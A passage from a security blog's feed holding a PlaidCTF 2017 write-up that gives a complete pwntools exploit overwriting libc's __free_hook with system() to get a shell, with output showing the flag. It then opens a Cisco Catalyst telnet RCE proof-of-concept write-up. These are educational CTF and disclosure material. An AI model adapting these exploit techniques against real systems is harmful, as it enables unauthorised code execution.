&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;plot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;width&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;out of bounds!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;overwriting %c!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note, that both width and height variables are signed, but only upper bounds are checked. Specifying negative signed values allows us to read arbitrary non-zero values in the memory before heap or write arbirary values in case the target memory is zero. Unfortunately the binary’s relocation section is write-protected and ASLR was on. There was no obvious way to affect the control flow of the program given the only memory before the heap was the .text and .data sections of the binary. This is the case when the amount of data allocated on the heap is less then &lt;code class=&quot;highlighter-rouge&quot;&gt;M_MMAP_THRESHOLD&lt;/code&gt; value on the system. If the value is less the this constant then &lt;code class=&quot;highlighter-rouge&quot;&gt;brk()&lt;/code&gt; system call is used to increase program break and heap is in fact allocated in the .data section of the binary. Quote from man:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Note: Nowadays, glibc uses a dynamic mmap threshold by  default.
The  initial value of the threshold is 128*1024&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Luckily for us we can force &lt;code class=&quot;highlighter-rouge&quot;&gt;calloc()&lt;/code&gt; to use &lt;code class=&quot;highlighter-rouge&quot;&gt;mmap()&lt;/code&gt; to map new memory segment using the value equal to or greater than &lt;code class=&quot;highlighter-rouge&quot;&gt;128*1024&lt;/code&gt;. This way we observe the heap being just below libc.so at a fixed offset:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  Start Addr           End Addr       Size     Offset   objfile
0x55c718337000     0x55c718338000     0x1000        0x0 bigpicture
0x55c718538000     0x55c718539000     0x1000     0x1000 bigpicture
0x55c718539000     0x55c71853a000     0x1000     0x2000 bigpicture
0x7f1d3d9b8000     0x7f1d3db76000   0x1be000        0x0 libc-2.19.so
0x7f1d3db76000     0x7f1d3dd75000   0x1ff000   0x1be000 libc-2.19.so
0x7f1d3dd75000     0x7f1d3dd79000     0x4000   0x1bd000 libc-2.19.so
0x7f1d3dd79000     0x7f1d3dd7b000     0x2000   0x1c1000 libc-2.19.so
0x7f1d3dd7b000     0x7f1d3dd80000     0x5000        0x0 
0x7f1d3dd80000     0x7f1d3dda3000    0x23000        0x0 ld-2.19.so
0x7f1d3df72000     0x7f1d3df96000    0x24000        0x0 &amp;lt;---- HEAP
0x7f1d3dfa0000     0x7f1d3dfa2000     0x2000        0x0 
0x7f1d3dfa2000     0x7f1d3dfa3000     0x1000    0x22000 ld-2.19.so
0x7f1d3dfa3000     0x7f1d3dfa4000     0x1000    0x23000 ld-2.19.so
0x7f1d3dfa4000     0x7f1d3dfa5000     0x1000        0x0 
0x7fff67f57000     0x7fff67f78000    0x21000        0x0 [stack]
0x7fff67fa3000     0x7fff67fa5000     0x2000        0x0 [vvar]
0x7fff67fa5000     0x7fff67fa7000     0x2000        0x0 [vdso]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We want to overwrite the &lt;code class=&quot;highlighter-rouge&quot;&gt;__free_hook&lt;/code&gt; pointer at libc’s data section with address of &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt;. It is used by the &lt;code class=&quot;highlighter-rouge&quot;&gt;free&lt;/code&gt; function:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/plaidctf2017/free_hook1.png&quot; alt=&quot;__free_hook&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This hook is placed in the &lt;code class=&quot;highlighter-rouge&quot;&gt;.bss&lt;/code&gt; section of libc at a fixed offset:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.bss:00000000003C57A8    public __free_hook ; weak
.bss:00000000003C57A8    ; __int64 (__fastcall *_free_hook)(_QWORD, _QWORD)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To figure out the absolute address of &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt; we need to leak the address of some location in libc. Again, we can use &lt;code class=&quot;highlighter-rouge&quot;&gt;.got&lt;/code&gt; section of libc which contains pointer to &lt;code class=&quot;highlighter-rouge&quot;&gt;free()&lt;/code&gt; funcion at a fixed address:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.got:00000000003C2F98    free_ptr    dq offset free    ; DATA XREF: j_free_r
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Last thing we have to do is write &lt;code class=&quot;highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt; string to the memory allocated on the heap as its reference will be passed to the &lt;code class=&quot;highlighter-rouge&quot;&gt;free&lt;/code&gt; function, which is effectively replaced with &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;exploit-code&quot;&gt;Exploit code&lt;/h2&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;re&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#libc 2.23&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;offset_to_start_libc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5c2010&lt;/span&gt; 
&lt;span class=&quot;n&quot;&gt;offset_system&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x045390&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;offset_free&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x083940&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;offset_ptr_free&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x03C2F98&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;offset_free_hook&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3C57A8&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'bigpicture.chal.pwning.xxx'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;420&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' 131072 x 1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c&quot;&gt;# 128 * 1024&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pointer_buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;off&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset_to_start_libc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset_ptr_free&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' {} , {} , A&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;off&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;overwriting (.{1})!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;pointer_buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;offset_abs_free&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;Q&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pointer_buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Free address:'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset_abs_free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 

&lt;span class=&quot;n&quot;&gt;offset_abs_system&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset_abs_free&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset_free&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset_system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'System address:'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset_abs_system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Overwriting __free_hook ptr with system address'&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)):&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;byte_to_send&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;Q&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset_abs_system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;off&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset_to_start_libc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset_free_hook&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' {} , {} , {}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;off&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byte_to_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;	
	&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Writing &quot;/bin/sh&quot; to heap'&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)):&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;byte_to_send&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' {} , {} , {}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byte_to_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;	
	&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' q'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# python sploit.py
[+] Opening connection to bigpicture.chal.pwning.xxx on port 420: Done
Free address: 0x7f973313d940
System address: 0x7f97330ff390
Overwriting __free_hook ptr with system address
Writing &quot;/bin/sh&quot; to heap
[*] Switching to interactive mode
$ cat /home/bigpicture/flag
PCTF{draw_me_like_one_of_your_pwn200s}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">Task description: Size matters! We’re presented with a x86_64 ELF binary, libc it’s using and the source code. $ nc bigpicture.chal.pwning.xxx 420 Let's draw a picture! How big? 1 x 1 &amp;gt; 0 , 0 , A &amp;gt; q A Bye!</summary>
      

      
      
    </entry>
  
  
  
    <entry>
      
      <title type="html">CVE-2017-3881 Cisco Catalyst RCE Proof-Of-Concept</title>
      
      <link href="https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/" rel="alternate" type="text/html" title="CVE-2017-3881 Cisco Catalyst RCE Proof-Of-Concept" />
      <published>2017-04-10T00:00:00+00:00</published>
      <updated>2017-04-10T00:00:00+00:00</updated>
      <id>https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution</id>
      <content type="html" xml:base="https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/">&lt;p&gt;Do you still have telnet enabled on your Catalyst switches? Think twice, here’s a proof-of-concept remote code execution exploit for Catalyst 2960 switch with latest suggested firmware. Check out the exploit code &lt;a href=&quot;https://github.com/artkond/cisco-rce/&quot;&gt;here&lt;/a&gt;. What follows is a detailed write-up of the exploit development process for the vulnerability leaked from CIA’s archive on March 7th 2017 and publicly disclosed by Cisco Systems on March 17th 2017. At the time of writing this post there is no patch available. Nonetheless there is a remediation - disable telnet and use SSH instead.
&lt;!-- more --&gt;&lt;/p&gt;

&lt;h2 id=&quot;vault-7-cia-leak&quot;&gt;Vault 7 CIA leak&lt;/h2&gt;

&lt;p&gt;A series of CIA’s documents were leaked on March 7th 2017 and &lt;a href=&quot;https://wikileaks.org/ciav7p1/&quot;&gt;published&lt;/a&gt; on WikiLeaks. Among other publications there was an interesting preauth code execution vulnerability that affected multiple Cisco switches. This vulnerability is code-named &lt;a href=&quot;https://wikileaks.org/ciav7p1/cms/page_20250772.html&quot;&gt;ROCEM&lt;/a&gt; in the leaked documents. Although very few technical details were mentioned, few things stand out.&lt;/p&gt;

